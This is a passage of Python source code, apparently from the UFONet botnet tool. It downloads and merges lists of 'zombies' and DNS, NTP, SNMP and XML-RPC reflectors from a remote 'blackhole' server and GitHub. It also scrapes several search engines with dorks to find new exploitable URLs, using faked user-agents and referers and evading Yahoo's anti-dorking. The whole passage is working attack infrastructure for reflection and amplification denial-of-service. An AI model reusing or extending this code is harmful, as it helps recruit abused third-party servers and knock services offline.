  2524. except:
  2525. reflectors_reply = ""
  2526. try:
  2527. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2528. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2529. except:
  2530. crystals_reply = ""
  2531. try:
  2532. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2533. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2534. except:
  2535. warps_reply = ""
  2536. try:
  2537. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2538. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2539. except:
  2540. bosons_reply = ""
  2541. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  2542. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2543. print('-'*12 + '\n')
  2544. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2545. return
  2546. f = open('botnet/abductions.txt.gz', 'wb')
  2547. f.write(abductions_reply)
  2548. f.close()
  2549. f = open('botnet/troops.txt.gz', 'wb')
  2550. f.write(troops_reply)
  2551. f.close()
  2552. f = open('botnet/robots.txt.gz', 'wb')
  2553. f.write(robots_reply)
  2554. f.close()
  2555. f = open('botnet/drones.txt.gz', 'wb')
  2556. f.write(drones_reply)
  2557. f.close()
  2558. f = open('botnet/reflectors.txt.gz', 'wb')
  2559. f.write(reflectors_reply)
  2560. f.close()
  2561. f = open('botnet/crystals.txt.gz', 'wb')
  2562. f.write(crystals_reply)
  2563. f.close()
  2564. f = open('botnet/warps.txt.gz', 'wb')
  2565. f.write(warps_reply)
  2566. f.close()
  2567. f = open('botnet/bosons.txt.gz', 'wb')
  2568. f.write(bosons_reply)
  2569. f.close()
  2570. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2571. except:
  2572. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2573. print('-'*12 + '\n')
  2574. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2575. return
  2576. print('-'*12 + '\n')
  2577. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  2578. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2579. f_out_abductions.write(f_in_abductions.read())
  2580. f_in_abductions.close()
  2581. f_out_abductions.close()
  2582. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  2583. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  2584. f_out_troops = open('botnet/troops.txt', 'wb')
  2585. f_out_troops.write(f_in_troops.read())
  2586. f_in_troops.close()
  2587. f_out_troops.close()
  2588. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  2589. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  2590. f_out_robots = open('botnet/robots.txt', 'wb')
  2591. f_out_robots.write(f_in_robots.read())
  2592. f_in_robots.close()
  2593. f_out_robots.close()
  2594. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  2595. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  2596. f_out_drones = open('botnet/drones.txt', 'wb')
  2597. f_out_drones.write(f_in_drones.read())
  2598. f_in_drones.close()
  2599. f_out_drones.close()
  2600. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  2601. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  2602. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2603. f_out_reflectors.write(f_in_reflectors.read())
  2604. f_in_reflectors.close()
  2605. f_out_reflectors.close()
  2606. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  2607. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  2608. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2609. f_out_crystals.write(f_in_crystals.read())
  2610. f_in_crystals.close()
  2611. f_out_crystals.close()
  2612. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  2613. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  2614. f_out_warps = open('botnet/warps.txt', 'wb')
  2615. f_out_warps.write(f_in_warps.read())
  2616. f_in_warps.close()
  2617. f_out_warps.close()
  2618. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  2619. f_in_bosons = gzip.open('botnet/bosons.txt.gz', 'rb')
  2620. f_out_bosons = open('botnet/bosons.txt', 'wb')
  2621. f_out_bosons.write(f_in_bosons.read())
  2622. f_in_bosons.close()
  2623. f_out_bosons.close()
  2624. os.remove('botnet/bosons.txt.gz') # remove bosons .gz file
  2625. num_abductions = 0
  2626. with open('botnet/abductions.txt') as f:
  2627. for _ in f:
  2628. num_abductions = num_abductions + 1
  2629. print("[Info] Zombies: " + str(num_abductions))
  2630. num_robots = 0
  2631. with open('botnet/robots.txt') as f:
  2632. for _ in f:
  2633. num_robots = num_robots + 1
  2634. print("[Info] Droids : " + str(num_robots))
  2635. num_troops = 0
  2636. with open('botnet/troops.txt') as f:
  2637. for _ in f:
  2638. num_troops = num_troops + 1
  2639. print("[Info] Aliens : " + str(num_troops))
  2640. num_drones = 0
  2641. with open('botnet/drones.txt') as f:
  2642. for _ in f:
  2643. num_drones = num_drones + 1
  2644. print("[Info] UCAVs : " + str(num_drones))
  2645. num_reflectors = 0
  2646. with open('botnet/reflectors.txt') as f:
  2647. for _ in f:
  2648. num_reflectors = num_reflectors + 1
  2649. print("[Info] X-RPCs : " + str(num_reflectors))
  2650. num_crystals = 0
  2651. with open('botnet/crystals.txt') as f:
  2652. for _ in f:
  2653. num_crystals = num_crystals + 1
  2654. print("[Info] DNSs : " + str(num_crystals))
  2655. num_warps = 0
  2656. with open('botnet/warps.txt') as f:
  2657. for _ in f:
  2658. num_warps = num_warps + 1
  2659. print("[Info] NTPs : " + str(num_warps))
  2660. num_bosons = 0
  2661. with open('botnet/bosons.txt') as f:
  2662. for _ in f:
  2663. num_bosons = num_bosons + 1
  2664. print("[Info] SNMPs : " + str(num_bosons))
  2665. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  2666. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2667. print('-'*12)
  2668. if not self.options.forceyes:
  2669. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2670. print('-'*25)
  2671. else:
  2672. update_reply = "Y"
  2673. if update_reply == "n" or update_reply == "N":
  2674. os.remove('botnet/abductions.txt') # remove abductions file
  2675. os.remove('botnet/troops.txt') # remove troops file
  2676. os.remove('botnet/robots.txt') # remove robots file
  2677. os.remove('botnet/drones.txt') # remove drones file
  2678. os.remove('botnet/reflectors.txt') # remove reflectors file
  2679. os.remove('botnet/crystals.txt') # remove crystals file
  2680. os.remove('botnet/warps.txt') # remove warps file
  2681. os.remove('botnet/bosons.txt') # remove bosons file
  2682. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2683. print('-'*25)
  2684. print("\n[AI] "+self.exit_msg+"\n")
  2685. else:
  2686. zombies_ready = []
  2687. f = open('botnet/abductions.txt')
  2688. abductions = f.readlines()
  2689. f.close()
  2690. fz = open(self.zombies_file)
  2691. zombies = fz.readlines()
  2692. fz.close()
  2693. for abduction in abductions:
  2694. abduction = abduction.replace('\n','')
  2695. if abduction not in zombies:
  2696. zombies_ready.append(abduction)
  2697. else:
  2698. pass
  2699. self.update_zombies(zombies_ready)
  2700. os.remove('botnet/abductions.txt') # remove abductions .txt file
  2701. aliens_ready = []
  2702. f = open('botnet/troops.txt')
  2703. troops = f.readlines()
  2704. f.close()
  2705. fz = open(self.aliens_file)
  2706. aliens = fz.readlines()
  2707. fz.close()
  2708. for alien in troops:
  2709. alien = alien.replace('\n','')
  2710. if alien not in aliens:
  2711. aliens_ready.append(alien)
  2712. else:
  2713. pass
  2714. self.update_aliens(aliens_ready)
  2715. os.remove('botnet/troops.txt') # remove troops .txt file
  2716. droids_ready = []
  2717. f = open('botnet/robots.txt')
  2718. robots = f.readlines()
  2719. f.close()
  2720. fz = open(self.droids_file)
  2721. droids = fz.readlines()
  2722. fz.close()
  2723. for droid in robots:
  2724. droid = droid.replace('\n','')
  2725. if droid not in droids:
  2726. droids_ready.append(droid)
  2727. else:
  2728. pass
  2729. self.update_droids(droids_ready)
  2730. os.remove('botnet/robots.txt') # remove robots .txt file
  2731. ucavs_ready = []
  2732. f = open('botnet/drones.txt')
  2733. drones = f.readlines()
  2734. f.close()
  2735. fz = open(self.ucavs_file)
  2736. ucavs = fz.readlines()
  2737. fz.close()
  2738. for drone in drones:
  2739. drone = drone.replace('\n','')
  2740. if drone not in ucavs:
  2741. ucavs_ready.append(drone)
  2742. else:
  2743. pass
  2744. self.update_ucavs(ucavs_ready)
  2745. os.remove('botnet/drones.txt') # remove drones .txt file
  2746. rpcs_ready = []
  2747. f = open('botnet/reflectors.txt')
  2748. reflectors = f.readlines()
  2749. f.close()
  2750. fz = open(self.rpcs_file)
  2751. rpcs = fz.readlines()
  2752. fz.close()
  2753. for reflector in reflectors:
  2754. reflector = reflector.replace('\n','')
  2755. if reflector not in rpcs:
  2756. rpcs_ready.append(reflector)
  2757. else:
  2758. pass
  2759. self.update_rpcs(rpcs_ready)
  2760. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  2761. dnss_ready = []
  2762. f = open('botnet/crystals.txt')
  2763. crystals = f.readlines()
  2764. f.close()
  2765. fz = open(self.dnss_file)
  2766. dnss = fz.readlines()
  2767. fz.close()
  2768. for crystal in crystals:
  2769. crystal = crystal.replace('\n','')
  2770. if crystal not in dnss:
  2771. dnss_ready.append(crystal)
  2772. else:
  2773. pass
  2774. self.update_dnss(dnss_ready)
  2775. os.remove('botnet/crystals.txt') # remove crystals .txt file
  2776. ntps_ready = []
  2777. f = open('botnet/warps.txt')
  2778. warps = f.readlines()
  2779. f.close()
  2780. fz = open(self.ntps_file)
  2781. ntps = fz.readlines()
  2782. fz.close()
  2783. for warp in warps:
  2784. warp = warp.replace('\n','')
  2785. if warp not in ntps:
  2786. ntps_ready.append(warp)
  2787. else:
  2788. pass
  2789. self.update_ntps(ntps_ready)
  2790. os.remove('botnet/warps.txt') # remove warps .txt file
  2791. snmps_ready = []
  2792. f = open('botnet/bosons.txt')
  2793. bosons = f.readlines()
  2794. f.close()
  2795. fz = open(self.snmps_file)
  2796. snmps = fz.readlines()
  2797. fz.close()
  2798. for boson in bosons:
  2799. boson = boson.replace('\n','')
  2800. if boson not in snmps:
  2801. snmps_ready.append(boson)
  2802. else:
  2803. pass
  2804. self.update_snmps(snmps_ready)
  2805. os.remove('botnet/bosons.txt') # remove bosons .txt file
  2806. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2807. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2808. if not self.options.forceyes: # ask for update everything
  2809. print('-'*25 + "\n")
  2810. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  2811. else:
  2812. update_reply = "Y"
  2813. if update_reply == "n" or update_reply == "N":
  2814. print("\n[AI] "+self.exit_msg+"\n")
  2815. return
  2816. else:
  2817. try:
  2818. update_gui = self.update_gui_data() # update GUI data
  2819. except:
  2820. print('-'*25 +"\n")
  2821. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2822. print('-'*25)
  2823. print("\n[AI] "+self.exit_msg+"\n")
  2824. return
  2825. def downloading_github_list(self):
  2826. # add your mirror to protect/share/distribute... [Zombies]
  2827. try:
  2828. print(("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n"))
  2829. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2830. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2831. if self.options.timeout: # set timeout
  2832. try:
  2833. timeout = int(self.options.timeout)
  2834. except:
  2835. timeout = 5
  2836. else:
  2837. timeout = 5
  2838. if timeout < 1:
  2839. timeout = 5
  2840. if self.options.proxy: # set proxy
  2841. self.proxy_transport(self.options.proxy)
  2842. try:
  2843. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  2844. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2845. except:
  2846. zombies_reply = ""
  2847. try:
  2848. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  2849. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2850. except:
  2851. aliens_reply = ""
  2852. try:
  2853. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  2854. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2855. except:
  2856. dns_reply = ""
  2857. try:
  2858. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  2859. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2860. except:
  2861. droids_reply = ""
  2862. try:
  2863. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  2864. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2865. except:
  2866. rpcs_reply = ""
  2867. try:
  2868. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  2869. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2870. except:
  2871. ucavs_reply = ""
  2872. try:
  2873. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  2874. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2875. except:
  2876. ntp_reply = ""
  2877. try:
  2878. req = urllib.request.Request(self.github_zombies+'snmp.txt', None, headers)
  2879. snmp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2880. except:
  2881. snmp_reply = ""
  2882. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "" and snmp_reply == "":
  2883. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2884. print('-'*12 + '\n')
  2885. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2886. return
  2887. f = open('botnet/abductions.txt', 'w') # zombies
  2888. f.write(zombies_reply)
  2889. f.close()
  2890. f = open('botnet/troops.txt', 'w') # aliens
  2891. f.write(aliens_reply)
  2892. f.close()
  2893. f = open('botnet/crystals.txt', 'w') # dns
  2894. f.write(dns_reply)
  2895. f.close()
  2896. f = open('botnet/robots.txt', 'w') # droids
  2897. f.write(droids_reply)
  2898. f.close()
  2899. f = open('botnet/drones.txt', 'w') # ucavs
  2900. f.write(ucavs_reply)
  2901. f.close()
  2902. f = open('botnet/reflectors.txt', 'w') # rpcs
  2903. f.write(rpcs_reply)
  2904. f.close()
  2905. f = open('botnet/warps.txt', 'w') # ntp
  2906. f.write(ntp_reply)
  2907. f.close()
  2908. f = open('botnet/bosons.txt', 'w') # snmp
  2909. f.write(snmp_reply)
  2910. f.close()
  2911. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  2912. except:
  2913. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2914. print('-'*12 + '\n')
  2915. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2916. return
  2917. print('-'*12 + '\n')
  2918. num_abductions = 0
  2919. with open('botnet/abductions.txt') as f: # zombies
  2920. for _ in f:
  2921. num_abductions = num_abductions + 1
  2922. print("[Info] Zombies: " + str(num_abductions))
  2923. num_troops = 0
  2924. with open('botnet/troops.txt') as f: # aliens
  2925. for _ in f:
  2926. num_troops = num_troops + 1
  2927. print("[Info] Aliens : " + str(num_troops))
  2928. num_robots = 0
  2929. with open('botnet/robots.txt') as f: # droids
  2930. for _ in f:
  2931. num_robots = num_robots + 1
  2932. print("[Info] Droids : " + str(num_robots))
  2933. num_drones = 0
  2934. with open('botnet/drones.txt') as f: # ucavs
  2935. for _ in f:
  2936. num_drones = num_drones + 1
  2937. print("[Info] UCAVs : " + str(num_drones))
  2938. num_reflectors = 0
  2939. with open('botnet/reflectors.txt') as f: # rpcs
  2940. for _ in f:
  2941. num_reflectors = num_reflectors + 1
  2942. print("[Info] X-RPCs : " + str(num_reflectors))
  2943. num_crystals = 0
  2944. with open('botnet/crystals.txt') as f: # dns
  2945. for _ in f:
  2946. num_crystals = num_crystals + 1
  2947. print("[Info] DNSs : " + str(num_crystals))
  2948. num_warps = 0
  2949. with open('botnet/warps.txt') as f: # ntp
  2950. for _ in f:
  2951. num_warps = num_warps + 1
  2952. print("[Info] NTPs : " + str(num_warps))
  2953. num_bosons = 0
  2954. with open('botnet/bosons.txt') as f: # snmp
  2955. for _ in f:
  2956. num_bosons = num_bosons + 1
  2957. print("[Info] SNMPs : " + str(num_bosons))
  2958. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  2959. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2960. print('-'*12)
  2961. if not self.options.forceyes:
  2962. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2963. print('-'*25)
  2964. else:
  2965. update_reply = "Y"
  2966. if update_reply == "n" or update_reply == "N":
  2967. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2968. os.remove('botnet/troops.txt') # remove aliens/troops file
  2969. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2970. os.remove('botnet/robots.txt') # remove droids/robots file
  2971. os.remove('botnet/drones.txt') # remove ucavs/drones file
  2972. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  2973. os.remove('botnet/warps.txt') # remove ntp/warps file
  2974. os.remove('botnet/bosons.txt') # remove snmp/bosons file
  2975. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2976. print('-'*25)
  2977. print("\n[AI] "+self.exit_msg+"\n")
  2978. else:
  2979. zombies_ready = []
  2980. f = open('botnet/abductions.txt')
  2981. abductions = f.readlines()
  2982. f.close()
  2983. fz = open(self.zombies_file)
  2984. zombies = fz.readlines()
  2985. fz.close()
  2986. for abduction in abductions:
  2987. abduction = abduction.replace('\n','')
  2988. if abduction not in zombies:
  2989. zombies_ready.append(abduction)
  2990. else:
  2991. pass
  2992. self.update_zombies(zombies_ready)
  2993. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2994. aliens_ready = []
  2995. f = open('botnet/troops.txt')
  2996. troops = f.readlines()
  2997. f.close()
  2998. fz = open(self.aliens_file)
  2999. aliens = fz.readlines()
  3000. fz.close()
  3001. for alien in troops:
  3002. alien = alien.replace('\n','')
  3003. if alien not in aliens:
  3004. aliens_ready.append(alien)
  3005. else:
  3006. pass
  3007. self.update_aliens(aliens_ready)
  3008. os.remove('botnet/troops.txt') # remove aliens/troops file
  3009. dnss_ready = []
  3010. f = open('botnet/crystals.txt')
  3011. crystals = f.readlines()
  3012. f.close()
  3013. fz = open(self.dnss_file)
  3014. dnss = fz.readlines()
  3015. fz.close()
  3016. for crystal in crystals:
  3017. crystal = crystal.replace('\n','')
  3018. if crystal not in dnss:
  3019. dnss_ready.append(crystal)
  3020. else:
  3021. pass
  3022. self.update_dnss(dnss_ready)
  3023. os.remove('botnet/crystals.txt') # remove dns/crystals file
  3024. droids_ready = []
  3025. f = open('botnet/robots.txt')
  3026. robots = f.readlines()
  3027. f.close()
  3028. fz = open(self.droids_file)
  3029. droids = fz.readlines()
  3030. fz.close()
  3031. for droid in robots:
  3032. droid = droid.replace('\n','')
  3033. if droid not in droids:
  3034. droids_ready.append(droid)
  3035. else:
  3036. pass
  3037. self.update_droids(droids_ready)
  3038. os.remove('botnet/robots.txt') # remove droids/robots file
  3039. ucavs_ready = []
  3040. f = open('botnet/drones.txt')
  3041. drones = f.readlines()
  3042. f.close()
  3043. fz = open(self.ucavs_file)
  3044. ucavs = fz.readlines()
  3045. fz.close()
  3046. for drone in drones:
  3047. drone = drone.replace('\n','')
  3048. if drone not in ucavs:
  3049. ucavs_ready.append(drone)
  3050. else:
  3051. pass
  3052. self.update_ucavs(ucavs_ready)
  3053. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  3054. rpcs_ready = []
  3055. f = open('botnet/reflectors.txt')
  3056. reflectors = f.readlines()
  3057. f.close()
  3058. fz = open(self.rpcs_file)
  3059. rpcs = fz.readlines()
  3060. fz.close()
  3061. for reflector in reflectors:
  3062. reflector = reflector.replace('\n','')
  3063. if reflector not in rpcs:
  3064. rpcs_ready.append(reflector)
  3065. else:
  3066. pass
  3067. self.update_rpcs(rpcs_ready)
  3068. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  3069. ntps_ready = []
  3070. f = open('botnet/warps.txt')
  3071. warps = f.readlines()
  3072. f.close()
  3073. fz = open(self.ntps_file)
  3074. ntps = fz.readlines()
  3075. fz.close()
  3076. for warp in warps:
  3077. warp = warp.replace('\n','')
  3078. if warp not in ntps:
  3079. ntps_ready.append(warp)
  3080. else:
  3081. pass
  3082. self.update_ntps(ntps_ready)
  3083. os.remove('botnet/warps.txt') # remove NTP/warps file
  3084. snmps_ready = []
  3085. f = open('botnet/bosons.txt')
  3086. bosons = f.readlines()
  3087. f.close()
  3088. fz = open(self.snmps_file)
  3089. snmps = fz.readlines()
  3090. fz.close()
  3091. for boson in bosons:
  3092. boson = boson.replace('\n','')
  3093. if boson not in snmps:
  3094. snmps_ready.append(boson)
  3095. else:
  3096. pass
  3097. self.update_snmps(snmps_ready)
  3098. os.remove('botnet/bosons.txt') # remove SNMP/bosons file
  3099. print("\n[Info] [AI] Botnet updated! -> ;-)")
  3100. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3101. if not self.options.forceyes: # ask for update everything
  3102. print('-'*25 + "\n")
  3103. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  3104. else:
  3105. update_reply = "Y"
  3106. if update_reply == "n" or update_reply == "N":
  3107. print("\n[AI] "+self.exit_msg+"\n")
  3108. return
  3109. else:
  3110. try:
  3111. update_gui = self.update_gui_data() # update GUI data
  3112. except:
  3113. print('-'*25 +"\n")
  3114. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  3115. print('-'*25)
  3116. print("\n[AI] "+self.exit_msg+"\n")
  3117. return
  3118. def uploading_github_list(self):
  3119. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  3120. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  3121. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  3122. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  3123. print('='*22 + '\n')
  3124. print("[AI] "+self.exit_msg+"\n")
  3125. def create_web_interface(self):
  3126. # launch webserver+gui
  3127. from .webgui import ClientThread
  3128. import webbrowser
  3129. host = '0.0.0.0'
  3130. port = 9999
  3131. try:
  3132. webbrowser.open('http://127.0.0.1:9999', new=1)
  3133. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3134. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  3135. tcpsock.bind((host,port))
  3136. while True:
  3137. tcpsock.listen(4)
  3138. (clientsock, (ip, port)) = tcpsock.accept()
  3139. newthread = ClientThread(ip, port, clientsock)
  3140. newthread.start()
  3141. except (KeyboardInterrupt, SystemExit):
  3142. sys.exit()
  3143. def extract_dorks(self):
  3144. # extract dorks from file (ex: 'dorks.txt')
  3145. try:
  3146. f = open(self.dorks_file)
  3147. dorks = f.readlines()
  3148. dorks = [ dork.replace('\n','') for dork in dorks ]
  3149. f.close()
  3150. if not dorks:
  3151. if not options.autosearch:
  3152. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3153. return
  3154. else:
  3155. return dorks
  3156. except:
  3157. if not options.autosearch:
  3158. if os.path.exists(self.dorks_file) == True:
  3159. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3160. return #sys.exit(2)
  3161. else:
  3162. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3163. return #sys.exit(2)
  3164. else:
  3165. return
  3166. def search_zombies(self, dork, zombies_found):
  3167. # crawlering on search engine results to extract zombies
  3168. options = self.options
  3169. zombies = []
  3170. if not options.engine: # default search engine
  3171. options.engine = 'duck'
  3172. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  3173. url = 'https://www.bing.com/search?'
  3174. if options.search: # search from query
  3175. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3176. if options.dorks or options.autosearch: # search from a dork
  3177. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3178. start = 0 # set index number of first entry
  3179. query_string = { 'q':q, 'first':start }
  3180. data = urllib.parse.urlencode(query_string)
  3181. url = url + data
  3182. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3183. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3184. if options.verbose:
  3185. print(("[Info] [AI] [DORKING] Query used: " + url + "\n"))
  3186. try:
  3187. if options.proxy: # set proxy
  3188. self.proxy_transport(options.proxy)
  3189. req = urllib.request.Request(url, None, headers)
  3190. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3191. except:
  3192. print('[Error] [AI] Unable to connect to: bing\n')
  3193. if options.allengines or options.autosearch:
  3194. return
  3195. if not options.dorks or not options.autosearch:
  3196. if not self.options.forceyes:
  3197. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3198. else:
  3199. update_reply = "Y"
  3200. if update_reply == "n" or update_reply == "N":
  3201. return #sys.exit(2)
  3202. print("\nSearch engines available:")
  3203. print('-'*25)
  3204. for e in self.search_engines:
  3205. print("+ "+e)
  3206. print('-'*25)
  3207. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3208. return #sys.exit(2)
  3209. else:
  3210. req_reply = ''
  3211. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  3212. pattern = re.compile(regex)
  3213. url_links = re.findall(pattern, req_reply)
  3214. elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  3215. location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  3216. #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  3217. location = str(random.choice(location).strip()) # shuffle location
  3218. if location == "jp": # [28/02/2019]
  3219. url = 'https://search.yahoo.co.jp/search?'
  3220. else:
  3221. url = 'https://'+location+'.search.yahoo.com/search?'
  3222. if options.search: # search from query
  3223. if location == "jp":
  3224. q = '"' + str(options.search) + '"' # set query to search literally on results
  3225. else:
  3226. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3227. if options.dorks or options.autosearch: # search from a dork
  3228. if location == "jp":
  3229. q = '"' + str(dork) + '"' # set query to search literally on results
  3230. else:
  3231. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3232. start = 0 # set index number of first entry
  3233. query_string = { 'p':q, 'b':start }
  3234. data = urllib.parse.urlencode(query_string)
  3235. url = url + data
  3236. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3237. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3238. if options.verbose:
  3239. print(("[Info] [AI] [DORKING] Query used: " + url + "\n"))
  3240. try:
  3241. if options.proxy: # set proxy
  3242. self.proxy_transport(options.proxy)
  3243. req = urllib.request.Request(url, None, headers)
  3244. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3245. except:
  3246. print('[Error] [AI] Unable to connect to: yahoo\n')
  3247. if options.allengines or options.autosearch:
  3248. return
  3249. if not options.dorks or not options.autosearch:
  3250. if not self.options.forceyes:
  3251. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3252. else:
  3253. update_reply = "Y"
  3254. if update_reply == "n" or update_reply == "N":
  3255. return #sys.exit(2)
  3256. print("\nSearch engines available:")
  3257. print('-'*25)
  3258. for e in self.search_engines:
  3259. print("+ "+e)
  3260. print('-'*25)
  3261. print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")
  3262. return #sys.exit(2)
  3263. else:
  3264. req_reply = ''
  3265. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  3266. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  3267. pattern = re.compile(regex)
  3268. url_links = re.findall(pattern, req_reply)
  3269. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
  3270. url = 'https://duckduckgo.com/html/'
  3271. if options.search: # search from query
  3272. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3273. if options.dorks or options.autosearch: # search from a dork
  3274. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3275. query_string = { 'q':q }
  3276. data = urllib.parse.urlencode(query_string)
